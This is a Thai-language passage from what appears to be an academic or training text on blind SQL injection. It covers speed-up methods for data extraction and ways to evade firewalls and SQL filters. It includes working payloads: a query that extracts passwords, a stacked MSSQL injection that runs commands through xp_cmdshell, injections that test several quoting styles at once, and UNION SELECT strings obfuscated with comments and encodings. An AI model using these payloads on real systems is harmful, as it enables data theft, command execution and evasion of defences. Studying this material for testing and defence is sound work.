 2.6.1  Optimization 
 การเพิ่มประสิทธิภาพมักจะเปนสวนหนึ่งของการมองขามมากท่ีสุด ท่ีสําคัญเม่ือใช
ประโยชนจาก Blind SQL Injection ไมเพียงแต SQL Injection ท่ีดีท่ีสุด แตจะใหผลลัพธท่ีเร็วข้ึน
นอกจากนี้ยังชวยลดความแออัดของเครือขายและเปนภาระบนเซิรฟเวอรนอยกวา ซ่ึงจะชวยใหลด
ความเส่ียงจากการถูกตรวจพบ ความแตกตางในความเร็ว วิธีการบางอยางเปนท่ีนาอัศจรรยและ
สามารถตัดจํานวนของการรองขอและเวลาที่ใชในการประสบความสําเร็จดึงขอมูลจากฐานขอมูล 
โดยมากกวาหนึ่งในสาม เม่ือเทียบกับวิธีการแบบดั้งเดิม การจะใชวิธีการเหลานี้จะตองเขาใจวิธีการ
ทํางานและวิธีการที่มีประสิทธิภาพของแตละอยาง แตกอนท่ีจะเร่ิมตนในการวิเคราะหและ
เปรียบเทียบ ส่ิงสําคัญคือทบทวนแนวคิดเบ้ืองตนกอน 
 คอมพิวเตอรสามารถเขาใจตัวเลขสําหรับ ASCII (รหัสมาตรฐานอเมริกันสําหรับการ
แลกเปล่ียนขอมูล) ท่ีถูกสรางข้ึนเพื่อเปนตัวแทนตัวเลข ตัวอักษรหรือ อักขระ ASCII ใดๆ ท่ี
สามารถแสดงใน 1 ไบตหรือ 8 บิต หรือ octet เม่ือจัดการกับ SQL Injection มักจะไมสนใจใน 
ASCII เต็มรูปแบบเนื่องจากตัวอักษรบางตัวไมไดรับอนุญาตใหใชกับฐานขอมูล เพราะเหตุนี้จะ
มุงเนนไปท่ีชวง ASCII 32-126 ซ่ึงทําใหเรามีชุดของตัวอักษร 94 ตัว โดยสามารถแสดงดวย 7 บิต
ซ่ึงบิตท่ีสําคัญท่ีสุดเปน 0 จะเพิ่มประสิทธิภาพในเทคนิคเพราะมันชวยใหสามารถตัดการรองขอได 
ตารางตอไปนี้แสดงใหเห็นชวง ASCII ในรูปแบบท่ีแตกตางกัน: 
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ตารางท่ี 2.1 ชวง ASCII ในรูปแบบท่ีแตกตาง 
 

 
 

Note Table 1:  The MSB (most significant bit) จะปดตลอดเวลา ซ่ึงจะสามารถใหบันทึกการรอง
ขอเพ่ิมเติมได 

 

 Analysis of Methods  
 วิธีการเหลานี้มีวัตถุประสงคท่ีจะนํามาใชกับ Blind SQL Injection เมื่อการแสดง
ขอผิดพลาดถูกปดใชงาน ซ่ึงโดยท่ัวไปจะมีการรับตัวอักษร 1 ตัวตอคร้ัง 
 Bisection Method 
  วิ ธี  Bisection ซ่ึง เปนท่ี รูจักกันท่ัวไปวา เปนวิ ธีการคนหา  Binary ในวิทยาการ
คอมพิวเตอร เปนข้ันตอนของลอการิทึม โดยใชกันอยางแพรหลายมากท่ีสุดสําหรับการดึงขอมูล
ผานการ SQL Injection อเนกประสงคท่ีมีประสิทธิภาพ และเปนทางเลือกท่ีนิยมในหมูแฮกเกอร
และโปรแกรมเมอร bisection ทํางานโดยแยกรายการออกเปน 2 คร่ึงและทําการคนหาแตละคร่ึง 
จากนั้นแบงคร่ึงรายการในสวนท่ีพบอีก และทําซํ้าจนกวาจะเสร็จส้ินดวยเหตุนี้จึงเปนข้ันตอนของ 
Divide and Conquer เม่ืออธิบายในแงประสิทธิภาพการทํางานก็มีกรณีท่ีเลวรายท่ีสุดท่ีเหมือนกัน
และสถานการณกรณีท่ีคาเฉล่ียของ log2 (N) ซ่ึงในวิธีนี้มักจะอยูปลายสูงของการรองขอของ เม่ือ
นํามาใชกับ SQL Injection จะตองรองขอเพ่ิมเติมเพื่อทํางานดวยวิธีการนี้ Regex Method 
  วิธีนี้เปนเพียงรูปแบบของวิธีการ bisection ซ่ึงใช Regular Expression สําหรับ MySQL 
ใชฟงกช่ัน REGEXP และสําหรับ MSSQL ใชคําส่ัง LIKE ซ่ึงมีการทํางานท่ีคลายกัน แตการทํางาน
แตกตางกันเล็กนอย ขอเสียเล็กๆ คือสองวิธีนี้การใชหนาท่ีแตกตางกันสําหรับแตละประเภทของ
ฐานขอมูล ทางเลือกท่ีแนะนําคือการใชฟงกช่ันท่ีมีอยูท้ังใน MySQL และ MSSQL นี้จะลดความ
ซับซอนของการดําเนินการตามการใชงานฟงกช่ันเดียวสําหรับหลายฐานขอมูล 
 REGEXP '^[a-z]' True 
 REGEXP '^[a-n]' True  
 REGEXP '^[a-g]' False  
 REGEXP '^[h-n]' True  
 REGEXP '^[h-l]' False 
 Note Table 2: ตัวอยางการใช REGEX method 
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 Bitwise Methods 
 มีหลากหลาย Bitwise Method ซ่ึงท้ังหมดจะแตกตางกันเล็กนอย เม่ือวิเคราะหวิธีการ
เหลานี้ในกรณีสวนใหญท้ังหมดจะใหผลลัพธแยกวาวิธี bisection ซ่ึงจะไมกลาวถึง วิธีนี้จะใช 
Bitwise operation เชน shigting และ ANDing แต operation เหลานี้จะเปนส่ิงซํ้าซอน เนื่องจาก 
Binary ถูกนับวาเปน String ท้ังใน MySQL และ MSSQL ดังนั้นจึงเปนไปไดท่ีจะใชฟงกช่ัน 
SUBSTRING หรือคลายกันเพื่อเปรียบเทียบบิตแตละบิตเปน 1 หรือ 0. ผลรวมของการรองขอมี
ความสอดคลองกัน 

 | Binary of “a” | Bit to be shifted | Binary result | Decimal result | 
 | 01100001 | >> 7 | 00000000 | 0 | 
 | 01100001 | >> 6 | 00000001 | 1 | 
 | 01100001 | >> 4 | 00000110 | 6 | 
 | 01100001 | >> 3 | 00001100 | 12 | 
 | 01100001 | >> 2 | 00011000 | 24 | 
 | 01100001 | >> 1 | 00110000 | 48 | 
 | 01100001 | >> 0 | 01100001 | 97 | 
 Note Table 3: Bitwise shifting method แสดงการดึงตัวอักษร “a”. 
 Bin2Pos Method 
 วิธีนี้เปนวิธีการการคนหาท่ีดีท่ีสุดท่ีสามารถดึงตัวอักษรท่ีมีดวยคํารองขอเพียง 1 คําขอ
และสูงสุด 6 รองขอได วิธีการนี้จะข้ึนอยูกับ list ของตัวอักษรท่ีแตละตัวจะถูกเทียบไปยังตําแหนง
ของตัวนั้นใน list การทําแผนท่ีตําแหนงตัวอักษรเปนส่ิงสําคัญเพราะตัวเลขท่ีจะใชดึงขอมูลมีขนาด
เล็กกวาเลขฐานสิบของตัวอักษรมาก ตําแหนงตัวอักษรจะถูกแปลงเปน Binary และเร่ิมตนการดึงคา
จากบิตแรกของ Binary Sequence โดยการแปลงตําแหนงอักษรเปน Binary จะทําใหมีประสิทธิภาพ
ในการคนหาเนื่องจากลดชุดของตัวอักษรลงโดยมองหาเพียงสองตัว (1 หรือ 0) นอกจากนี้เนื่องจาก
เร่ิมดวยการเกิดข้ึนคร้ังแรกของ on bit สามารถบันทึกหนึ่งคําขอไดตั้งแตจะรูวามันจะเปน "1" 
เนื่องจากขนาดของ binary จะข้ึนอยูกับตําแหนงของตัวอักษรใน list ตัวอักษรท่ีใกลเปนจุดเร่ิมตน
ของ list ก็จะใชจํานวนคํารองขอสําหรับดึงท่ีนอยลงไปดวย ดวยเหตุนี้สามารถจัดลําดับของ list 
ตามตัวอักษรท่ีพบบอยท่ีสุดเพื่อเพ่ิมประสิทธิภาพใหดียิ่งข้ึน ตัวอยางของการดําเนินการใน MySQL 
ท่ีใชพารามิเตอรท่ีมีคาท่ีแตกตางกันสองตัว (เชน id = 1 id = 2) ในภาพดานลางโดยใชเลขชุดฐาน
สิบหกไปนี้: 
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Quote: 
IF((@a:=MID(BIN(POSITION(MID((SELECT password FROM users WHERE id=2 LIMIT  
1),1,1)IN(CHAR(48,49,50,51,52,53,54,55,56,57,65,66,67,68,69,70))),1,1))!=space( 
0),2-@a,0/0) 

 
 เนื่องจากขนาดของเซ็ต 94 (32-126) ตองใช 7 bit หมายความวาขนาดสูงสุดท่ีจะใชดึง
ตัวอักษรเทากับ 7. ตองใชการรองขอเพิ่มเติมเพ่ือตรวจสอบวาไดมาถึงจุดส้ินสุดของ binary 
sequence . ดังนั้นโดยการหลีกเล่ียงการรองขอคร้ังแรกและไมทําคําขอเพิ่มเติมในตอนทายนี้ทําใหมี
ท้ังหมด 7 รองขอ แตเนื่องจากเรารูวา 7 bit คือความยาวสูงสุดท่ีดึงได ถาทําแลว 6 คําขอ ไมตองสง
การรองขอเพิ่มเติมเพื่อจะรูจุดส้ินสุดเนื่องจากมาถึงความยาวสูงสุดท่ีเปนไปไดแลว . นี้เปนกรณี
อยางแยท่ีสุดของการใช 6 คํารองขอ สถานการณกรณีที่ดีท่ีสุดคือเม่ือตัวอักษรถูกพบในตําแหนง
แรกของ list ซ่ึงใชแค 1 คําขอ ภาพประกอบตอไปนี้แสดงใหเห็นถึงวิธีการนี้ใชชุดเรียงตามอักษร 
 

 
 
ภาพท่ี 2.3  ใหเห็นถึงวิธีการนี้ใชชุดเรียงตามอักษร 
  
 Optimizing Queries  
 ขณะนี้ไดสํารวจบางสวนของวิธีการที่รูจักกันดีสําหรับการดึงขอมูลผานการ Blind 
SQL Injection จะมองไปที่การเพิ่มประสิทธิภาพคําส่ังบางอยางท่ีสามารถเรงสกัดขอมูลจาก
ฐานขอมูลได. Ionut Maroiu แสดงใหเห็นถึงเทคนิคสําหรับ MySQL ซ่ึงจะชวยใหการดึงฐานขอมูล
ท้ังหมดผานการรองขอเดียว เทคนิคท่ีคลายกันสําหรับ PostgreSQL และ Oracle ซ่ึงไดแสดงใหเห็น
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โดย Dmitriy Serebryannikov และอีกคนหนึ่งสําหรับ MSSQL คนพบโดย Daniel Kachakil ตาราง
ตอไปนี้แสดงตัวอยางของแตละคําส่ังอธิบายน้ี: 
 

ตารางท่ี 2.2 คํารองท่ีแตกตางกันซ่ึงดึงขอมูลตาราง และคอลัมนตางๆ ในคํารองขอเดียว  
 

 
 

 นอกจากนี้ยังมีการโจมตีอยางรุนแรงดวยคําขอเดียวซ่ึงดําเนินการไดโดยสงคําส่ังซอน
กันใน MSSQL หรือแมกระท่ัง MySQL เม่ือใช PDO หรือ mysqli สําหรับ PHP ท่ีใหมและ "ดีข้ึน" 
ยกตัวอยางเชน คํารองขอตอไปนี้สําหรับ MSSQL จะตรวจสอบเพื่อดูวามีการโหลด xp_cmdshell 
หรือไม หากมีการเปดใชงาน จะตรวจสอบเพื่อดูวามีการใชงานหรือไมและถามีการใชงานจะ
ดําเนินการเรียกใชคําส่ังท่ีเลือก  
 

PHP Code: 
<?php  
' IF EXISTS (SELECT 1 FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAM
E='TMP_DB') DROP TABLE TMP_DB DECLARE @a varchar(8000) IF EXISTS(SELECT * F
ROM dbo.sysobjects WHERE id = object_id (N'[dbo].[xp_cmdshell]') AND OBJECTPROPERT
Y (id, N'IsExtendedProc') = 1) BEGIN CREATE TABLE %23xp_cmdshell (name nvarchar(11), 
min int, max int, config_value int, run_value int) INSERT %23xp_cmdshell EXEC master..sp_co
nfigure 'xp_cmdshell' IF EXISTS (SELECT * FROM %23xp_cmdshell WHERE config_value=1
)BEGIN CREATE TABLE %23Data (dir varchar(8000)) INSERT %23Data EXEC master..xp_c
mdshell 'dir' SELECT @a='' SELECT @a=Replace(@a%2B'<br></font><font  
color="black">'%2Bdir,'<dir>','</font><font color="orange">') FROM %23Data WHERE dir>@
a DROP TABLE %23Data END ELSE SELECT @a='xp_cmdshell not enabled' DROP TABLE 
%23xp_cmdshell END ELSE SELECT @a='xp_cmdshell not found' SELECT @a AS tbl INTO 
TMP_DB--  
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 สําหรับท้ังการทดสอบเจาะระบบและการโจมตี การทดสอบสําหรับ SQL Injection 
กลายเปนเร่ืองนาเบ่ือ บางเว็บโปรแกรมมีจํานวนโมดุลและพารามิเตอรท่ีไมมีท่ีส้ินสุด นอกจากนี้
การทดสอบ SQL Injection ตองทําอยางนอยสามการทดสอบ : Single, Double และ No Quotation 
ดวยคําส่ังท่ีดีท่ีสุด ก็เปนไปไดท่ีจะลดท้ังหมดเปนหนึ่งคํารองขอ 
 

ตารางท่ี 2.3  Injection ท่ีมีประสิทธิภาพทําใหเราทดสอบท้ัง 3 แบบไดใน 1 คํารองขอตัวอยางอ่ืนๆ 
 โดยการใช AND: 
 

 
 

ตารางท่ี 2.4 จุดแตกตางของ Injection โดยใช AND.      
 

 
  
ดานลางเปนตวัอยางคํารองขอสําหรับ Injection ดังตอไปนี้: 
 

Quote: 
SELECT * FROM Users WHERE username=”Admin” and password = “1 OR  
1#"OR"'OR''='"="'OR''='” 

 

Quote: 
SELECT * FROM Articles WHERE id = 1!=0--+"!="'!=' 

 
 2.6.2  Obfuscation 
 เปนหนึ่งในเคร่ืองมือหลักสําหรับหลบหลีกไฟรวอลล โดยหลอกลอไฟรวอลลใหคิดวา
การโจมตีท่ีเกิดเปนขอมูลท่ีถูกตอง ซ่ึงสามารถสงการโจมตีไดสําเร็จโดยไมถูกตรวจพบ มีหลายวิธี
ท่ีสามารถใชในการอําพราง Injection โดยผานการใชงาน fuzzers ซ่ึงสามารถคนพบความเปนไปได
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ท่ีแตกตางกันในการใช obfuscation แมวาบางคร้ังความเรียบงายอาจเปนตัวเลือกท่ีดีกวาและถาทาง
อ่ืนท้ังหมดลมเหลวก็สามารถหันไปใชทางอ่ืนเพื่อความหลากหลายของการเขารหัสได 
 Fuzzers  
 มันเปนส่ิงสําคัญสําหรับนักพัฒนาไฟรวอลลท่ีจะตองตระหนักดีถึงทุกรายละเอียดของ
ฐานขอมูลและจุดตองสงสัย บางสวนของจุดตองสงสัยเหลานี้ สามารถพบไดผาน fuzzing การใช 
fuzzers ท่ีมีตัวอักษรชองวาง ท่ีไดรับอนุญาตสําหรับฐานขอมูลแตละประเภท แตละ RDBMS จะมี
ตัวอักษรชองวางท่ีอนุญาตแตกตางกันแทนท่ีจะใช 0x20 ตามปกติ ใชการเปล่ียนชองวางท่ีมี
ตัวอักษรชองวางอ่ืนๆ ท่ีไดรับอนุญาตเขาไปดวย ทําใหเราสามารถสงการ Injection โดยท่ีไฟรวอลล
ไมสามารถรูไดและอนุญาตใหผานเขาไป  
 

ตารางท่ี 2.5 ตัวอักษรชองวางท่ีอนุญาตใน RDBMS ท่ีตางกัน 
 

 
 
 ขณะท่ีการแทนท่ีชองวางอาจจะเปนเคล็ดลับท่ีเปนประโยชน ไฟรวอลลท่ีมีความ
ซับซอนจะมีความสามารถในการตรวจหาตัวอักษรชองวางท่ีไดรับอนุญาต สวนใหญแลวก็จะ
จัดการใหเหมาะสม เม่ือไฟรวอลลสามารถทํา deobfuscating ไดจริงๆ บางคร้ังก็อาจจะดีท่ีสุดท่ีจะ
ใชเสนทางตรงขามและลดความซับซอนในการ Injection ใหมากท่ีสุดเทาท่ีเปนไปไดเชนเดียวกับ
หลายภาษาโปรแกรมท่ีใหเราหลายวิธีในการบรรลุผลเดียวกัน เชนเดียวกับ SQL ในบางกรณีใช
วิธีการที่งายสามารถมีประสิทธิภาพมากท่ีสุด ถา SQL Injection นั้นมีลักษณะเหมือนภาษาอังกฤษ
ธรรมดาๆ มันอาจเปนเร่ืองยากมากสําหรับไฟรวอลลเพื่อแยกความแตกตางระหวางขอความปกติ
กับคําส่ัง SQL ตัวอยางท่ีดีคือการใชงานตอไปของคําส่ัง CASE ท่ีซ่ึงสามารถผนวกหลังจากคําส่ัง 
WHERE : 
 

Code: 
CASE WHEN BINARY TRUE THEN TRUE END IS NOT UNKNOWN HAVING TRUE FOR  
UPDATE 
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 Encodings  
 การเขารหัสพิเศษเปนอีกเคร่ืองมือหนึ่งท่ีจะใชเพื่อผานไฟรวอลล สวนใหญของการ
เขารหัสเหลานี้จะข้ึนอยูกับวิธีการประยุกตการประมวลผลขอมูล โปรแกรมประยุกตบนเว็บอาจจะ
เห็นขอมูลในทางเดียว ในขณะท่ีพร็อกซ่ี ไฟรวอลลหรือฐานขอมูล อาจตีความขอมูลท่ีแตกตางกัน 
มันเปนเพราะความแตกตางเหลานี้ระหวางช้ันท่ีเขารหัสอาจทํางานเพ่ือหลีกเล่ียงไฟรวอลล 
 URL encode  

 ทุกคนท่ีไดเรียกดูเว็บไดเห็นการเขารหัสแบบน้ีมากอน การเขารหัส URL จะถูกใชใน
การแปลงตัวอักษรพิเศษ เพื่อใหพวกเขาสามารถสงผาน HTTP ได ตัวอักษรที่ไดรับการเปล่ียนเปน
เลขฐานสิบหกจะถูกนําหนาดวยเคร่ืองหมายเปอรเซ็นต 
 Double URL encode 
 เปนเพียงกระบวนการของการใช URL เขารหัสสองคร้ังในตัวอักษร ท่ีจําเปนคือการ
เขารหัสของเคร่ืองหมายเปอรเซ็นต การเขารหัสนี้จะประสบความสําเร็จหากขอมูลถูกถอดรหัสเปน
คร้ังท่ีสองหลังจากท่ีไดผานไฟรวอลลและกอนท่ีจะถึงฐานขอมูล 
 Unicode encode 
 Unicode เปนมาตรฐานอุตสาหกรรมสําหรับการเปนตัวแทนกวา 110,000 สัญลักษณ
และตัวอักษรสําหรับหลากหลายภาษา มันสามารถแสดงโดยเขารหัสตัวอักษรท่ีแตกตางกันเชน 
UTF-8, UTF-16 UTF-32 และอ่ืนๆ การเขารหัสนี้โดยท่ัวไปทํางานกับเซิรฟเวอร IIS หรือโปรแกรม
ท่ีสรางขึ้นใน ASP หรือ .NET 
 

ตารางท่ี 2.6 ตารางการเขารหัสของตัวอักษร “a” 
 

 
 

 UTF-8 encode 
 UTF-8 เปนรูปแบบของการเขารหัสของแตละจุดรหัสจาก  1,114,112 จุด  (0 ถึง 
10FFFF) ในชุดอักขระ Unicode. "UTF" หมายถึงการเปล่ียนแปลงรูปแบบ Unicode ในขณะท่ี "8" 
หมายความวาจะใชบล็อก 8 บิตเพื่อเปนตัวแทนของตัวอักษร จํานวนบล็อกท่ีจําเปนในการเปน
ตัวแทนของตัวอักษรท่ีแตกตางจาก 1 ถึง 4 เพียง 1 ไบตหรือบล็อกจะตองเปนตัวแทนของตัวอักษร
จากชวง ASCII 0-127 มีบิตนํา คือ 0. แตจุดรหัสใดๆ ท่ีสูงกวา 127 ตองแสดงเปนหลายไบตท่ีบิตนํา
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ของไบตแรกเปน 0, แทนจํานวนท้ังหมดเพื่อทําให sequence เสร็จสมบูรณ บิตตอจากบิต 0 ตัวแรก 
ในสวนของตัวอักษร แตละไบตท่ีติดตอกันมี '10' อยูในตําแหนงท่ีสูง อยางไรก็ตามท้ังสองบิต
ซํ้าซอนกัน . xx ในแผนภูมิขางลางนี้เปนตัวแทนของบิตท่ีเกิดข้ึนจริงของขอมูล 
 

ตารางท่ี 2.7 การเขารหัส UTF-8 multi-byte ท่ีตางกัน 
 

 
 

  เนื่องจากสองบิตท่ีสูงสุดหลังจากไบตแรกไมจําเปนตองใช แอปพลิเคช่ันอาจจะอานหก
บิตสุดทายชวยใหสามารถเปล่ียนสองบิตแรกดวย 00, 01 หรือ 11 ได 
 

ตารางท่ี 2.8 UTF-8 ของตัวอักษร “a”. 
 

 
 

 Nibble encode 
 nibble เปน 4 บิต ดังนั้นมีสิบหก (2 ** 4) คาท่ีเปนไปได เพื่อใหสอดคลองกับหลัก
เลขฐานสิบหกหนึ่งตัว ตั้งแตตัวอักษรจากชวง ASCII 0-255 ทุกตัวสามารถอยูใน 1 byte ได 
สามารถเขารหัส URL ใน 4 บิตสําคัญ หรือ 4 บิตสําคัญนอยสุด หรือท้ังสองได กระบวนการนี้เปน
ท่ีรูจักกันวาการเขารหัส First Nibble, Second Nibble และ Double Nibble 
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ตารางท่ี 2.9  ตารางการเขารหัสแบบ Nibble 
 

 

 
 
 Invalid Percent encode 
 การเขารหัสเปอรเซ็นตท่ีไมถูกตอง โดยเฉพาะกับ .NET / IIS แอปพลิเคช่ัน โดยการ
เพิ่มเคร่ืองหมายเปอรเซ็นตในระหวางตัวอักษรท่ีไมใชอักษร HEX จากน้ัน IIS จะตัดตัวอักษรที่ทํา
ใหขอมูลท่ีถูกตอง อยางไรก็ตามไฟรวอลล ท่ีไมทราบถึงลักษณะการทํางานนี้จะปลอยเครื่องหมาย
เปอรเซ็นตเอาไว ซ่ึงทําใหคําส่ัง SQL ไมถูกตรวจสอบ 
 

ตัวอยางขอมูลท่ีไฟรวอลลมองเห็น:  
Code: 
%UNI%ON %SE%LE%CT 1 %FR%OM %D%U%A%L 

 
ตัวอยางขอมูลที่ IIS มองเห็น: 

Code: 
UNION SELECT 1 FROM DUAL 

 
 Invalid Hex encode 
 อักษร HEX\ ไมใชการเขารหัส แตมันเปนการบอกแอปพลิช่ันใหจัดการแปลง
เลขฐานสิบหกใหเปนฐานสิบ จุดประสงคคือสรางเลขฐานสิบหกท่ีไมถูกตองท่ีจะสงผลในคาฐาน
สิบเชนเดียวกับฐานสิบหกท่ีถูกตอง ท้ังนี้ข้ึนอยูกับวิธีการที่แอปพลิเคช่ันจัดการและแปลงขอมูล 
อาจจะเห็น %2U เปนเชนเดียวกับ %61 
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ตารางท่ี 2.10 การแปลงเลขฐานสิบหกท่ีไมถูกตอง โดยใหผลฐานสิบท่ีเหมือนกนักบัฐานสิบหก 
ท่ีถูกตอง 

 

 
 

ตารางท่ี 2.11  เลขฐานสิบหกท่ีไมถูกตองใชตัวอักษรท้ังหมด ในขณะท่ีเลขฐานสิบหกจริงๆ ใช A-F. 
 

 
 
 ประเภทท่ัวไปของ SQL filters 
 ในบริบทของการโจมตี SQL Injection ฟลเตอรท่ีนาสนใจท่ีสุดท่ีมีแนวโนมท่ีจะพบ
เปนผูท่ีพยายามท่ีจะปองกันการปอนขอมูลใด ๆ ท่ีมีเพียงแคหนึ่งหรือมากกวาของขอมูลดังตอไปนี้: 
SQL keywords, เชน SELECT, AND, INSERT ตัวอักษรเฉพาะอ่ืนๆ เชน ?, - 
 White-spaces 
 ยังอาจพบฟลเตอรซ่ึงเปนมากกวาการปดกั้นการปอนขอมูลท่ีมีรายการในรายการกอน
หนานี้พยายามท่ีจะปรับเปล่ียนการปอนขอมูลท่ีจะทําใหมันปลอดภัยไมวาจะโดยการเขารหัสหรือ
การหลบตัวอักษรที่มีปญหาหรือโดยการลอกรายการที่กระทําผิดจากการปอนขอมูลและการ
ประมวลผลส่ิงท่ีเหลืออยูในทางปกติ ซ่ึงเปนวิธีการท่ีไมไดเปนตรรกะ  
 บอยคร้ังท่ีรหัสโปรแกรมตัวกรองเหลานี้ปองกันความเส่ียง SQL Injection (เพราะ 
ไรความไมรูหรือนักพัฒนาไมดีท่ีมีอยูท่ัวทุกมุมโลก) และการใชประโยชนจากชองโหวท่ีตองการ 
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ท่ีจะหาวิธีการหลบเล่ียงตัวกรองที่จะผานการปอนขอมูลท่ีเปนอันตราย ตองการรหัสท่ีมีชองโหว 
ในไมกี่สวนตอไปจะตรวจสอบเทคนิคบางอยางท่ีสามารถใชไดในการทํา 
 2.6.3 Advanced Obfuscation 
 Bypassing SQL Injection filters 
 จะแจงใหทราบวาทุก SQL Injection filter ขางตนเปนเทคนิคจาก blacklist และไมใช
ตรรกะของ whitelist ซ่ึงหมายความวาการพัฒนาซอฟตแวรท่ีไมดีอยูในรายการ blacklist มีหลายวิธี
ท่ีจะหลีกเล่ียง SQL Injection filters มีวิธีการมากมายท่ีใชประโยชนจากวิธีนี้เชนกัน และวิธีท่ีใชกัน
มากท่ีสุดของการหลบหลีก SQL Injection filters คือ : 
 ใช Case Variation. 
 ใช SQL Comments. 
 ใช URL Encoding. 
 ใช Dynamic Query Execution. 
 ใช Null Bytes. 
 Nesting Stripped Expressions. 
 Exploiting Truncation. 
 ใช Non-Standard Entry Points. 
 รวมเทคนิคขางตน. 
 Case Variation 

 ถาการกรอง keyword ไมไดผลอาจจะตองหลีกเล่ียงโดยการเปล่ียนแปลงตัวอักษรใน
ขอมูลการโจมตี เพราะฐานขอมูล SQL จัดการ keyword แบบ case-insensitive ตัวอยางเชน ถาการ
ปอนขอมูลตอไปนี้ถูกบล็อก: 

 

Code: 

' UNION SELECT @@version -- 
 

อาจหลีกเล่ียงการกรองไดโดย: 
Code: 
' UnIoN sElEcT @@version -- 

 
  หมายเหตุ: โดยใชเพียงตัวพิมพใหญหรือพิมพเล็กอาจจะใชงานได แตจะไมขอแนะนําการใชเวลา

เปนจํานวนมากในการพิมพขนาดนั้น 
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 SQL Comments 
 สามารถใช in-line comment เพ่ือสรางตัวอยางของ SQL ซ่ึงเปนคําส่ังท่ีผิดปกติ แตท่ี

สามารถใชไดและหลีกเล่ียงตัวกรองการปอนขอมูลชนิดตางๆ ได สามารถหลีกเล่ียงฟลเตอรจับคู
รูปแบบตางๆ ในลักษณะนี้ได แนนอนสามารถใชเทคนิคเดียวกันนี้เพื่อหลีกเล่ียงฟลเตอรซ่ึงปดกั้น
อักษรชองวางได นักพัฒนาหลายคนเช่ือผิดๆ วา การจํากัดการปอนขอมูลจะปองกันการโจมตี SQL 
Injection , โดยลืมไปวาใน in-line comment ชวยใหผูโจมตีสราง SQL ท่ีซับซอนโดยพลการโดยไม
ตองใชชองวางใดๆ ได 
 ในการใชงานของ SQL เราสามารถใชงาน in-line comment ของ SQL Keyword เพื่อ 
ทําการปองกัน โดยใช เทคนิค Keyword Blocking Filter  ตัวอยาง ชุดคําส่ังของการ Attack ดังกลาว
ยังจะสามารถทํางานไดอยูถาสุดทายแลวยังเปน MySQL และ ตรวจสอบแค ชองโหวของ SQL 
Injection String 

 
Code: 
UNION/**/SELECT/**/@@version/**/-- Or ' U/**/NI/**/ON/**/SELECT/**/@@version/**/-- 

 

หมายเหตุ:  ชุดคําส่ังนี้คือชองทางการหลบหลีก โดยคลอบคลุมไปถึงการใช gap filling และ black 
list bad character  

 

 URL Encoding 
 การเขารหัส URL เปนเทคนิคท่ีหลากหลายท่ีสามารถใชเพ่ือกรองการปอนขอมูล ใน
รูปแบบพื้นฐานท่ีสุดคือการแทนที่ ASCII Code ในชุดท่ีมีปญหา โดย เลขฐานสิบหก โดยใช
อักษรนําหนาเปน % ตัวอยางเชนรหัส ASCII Code ใน Single question mark คือ 0x27 โดยคําส่ังนี้
ใน URL Encoded คือ %27 โดยเหตุการณนี้สามารถใชคําส่ังดังกลาวในการหลบหลีกการตรวจจับ
ได 
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Original query: 
Code: 
UNION SELECT @@version -- 

 

URL-encoded query: 
Code: 
%27%20%55%4e%49%4f%4e%20%53%45%4c%45%43%54%20%40%40%76%65%72%73
%69%6f%6e%20%2d%2d 

 
 ในกรณีอ่ืนๆ ท่ีการโจมตี URL Encoding ไมประสบผลสําเร็จ แตยังคงสามารถ
หลีกเล่ียงการตรวจจับโดยใช รูปแบบ double-URL-encoding ในการใช double-encoded attack ใช
อักขระ % ในการโจมตีเดิมเชน ของเดิมคือ %25 เม่ือเปนรูปแบบ double-URL-encoding นั้นจะเปน 
%2725 เมื่อไดปรับเปล่ียนรูปแบบการโจมตีเปนแบบ double-URL-encoding จะไดชุดคําส่ังดังนี้ 
 

Code: 
%25%32%37%25%32%30%25%35%35%25%34%65%25%34%39%25%34%66%25%34%65
%25%32%30%25%35%33%25%34%35%25%34%63%25%34%35%25%34%33%25%35%34
%25%32%30%25%34%30%25%34%30%25%37%36%25%36%35%25%37%32%25%37%33
%25%36%39%25%36%66%25%36%65%25%32%30%25%32%64%25%32%64 

 
หมายเหตุ: ตองเลือกพิจารณาวิธีการของ URL – Encoding ดังกลาวใหถูกตองการหลีกเล่ียงการ

ตรวจจับ SQL Injection Filtering 
 

 Double-URL-Encoding บางคร้ังสามารถประสบผลสําเร็จโดย Web Application มีการ
ถอดรหัส มากกวา หนึ่งคร้ัง และ Apply คําส่ัง Input File กอนท่ีจะถึงข้ันตอนสุดทายในการ
ถอดรหัส โดยตัวอยางการทํางานดังนี้ 
 The attacker supplies the input ‘%252f%252a∗/UNION … 
 The application URL decodes the input as ‘%2f%2a∗/ UNION… 
 The application validates that the input does not contain /∗ (which it doesn't). 
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 The application URL decodes the input as ‘/∗∗/ UNION… 
 The application processes the input within an SQL query, and the attack is successful. 
 โดยตอไป ในเทคนิตของการใช URL-Encoding นั้นจะใช Unicode encodes เพ่ือการ
ตรวจจับ อักขระ ตลอดจนการใชงาน % นําหนา สองหลักของ Hexadecimal ASCII, URL 
Encoding สามารถใชรูปแบบของ Unicode encode แทนท่ีของอักขระ SQL Injection จะทํางานได
เม่ือรูปแบบคําส่ัง Unicode encode เปนลักษณะเชนนี้ 
 
Code: 
27 20 55 4E 49 4F 4E 20 53 45 4C 45 43 54 20 40 40 76 65 72 73 69 6F 6E 20 2D 2D 
 
หมายเหตุ: เนื่องจากยังไมมีรูปแบบมากนักในการใช Unicode encode ซ่ึงอาจจะไมคอยมีประโยชน

มากนักในการตรวจจับ SQL โดย Unicode encode 
 
 CAST and CONVERT keywords 
 ประเภทยอยของการโจมตีอ่ืนๆ ของการ Encoding คือ การโจมตีแบบ CAST และ 
CONVERT. การโจมตีแบบ CAST และ CONVERT นั้นจะใชการ ปรับเปล่ียนขอมูลโดยทันทีของ 
Data ไปยัง รูปแบบอ่ืนๆ ใน CAST Keyword จะถูกฝงอยูใน MYSQL ดวย MYSQL และ Postgre 
Database ถูกใชเปนชองทางของการโจมตี โดย Website หลายๆแหงจะนิยมใช และ SQL Injection 
filter bypass ดวย การใชงานท่ียังไมแพรหลายของ botnet โดยใชชองทางนี้ในการโจมตีคือ ไวรัส 
ASPRox  โดยมี Syntax ดังนี้ 
 Using CAST 
 CAST ( expression AS data_type ) 
 Using CONVERT 
 CONVERT ( data_type [ ( length ) ] , expression [ , style ] ) 
 CAST and CONVERT นั้น จะมีการตอบกลับขอมูลท่ีเหมือนกันกับ function 
SUBSTRING โดยตัวอยาง ชุดคําส่ังนี้จะแสดงใหเห็นวา มีการตอบกลับผลลัพธ ท่ีเหมือนกัน 
 

Code: 
SELECT SUBSTRING('CAST and CONVERT', 1, 4) 
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Returned result: CAST  
Code: 
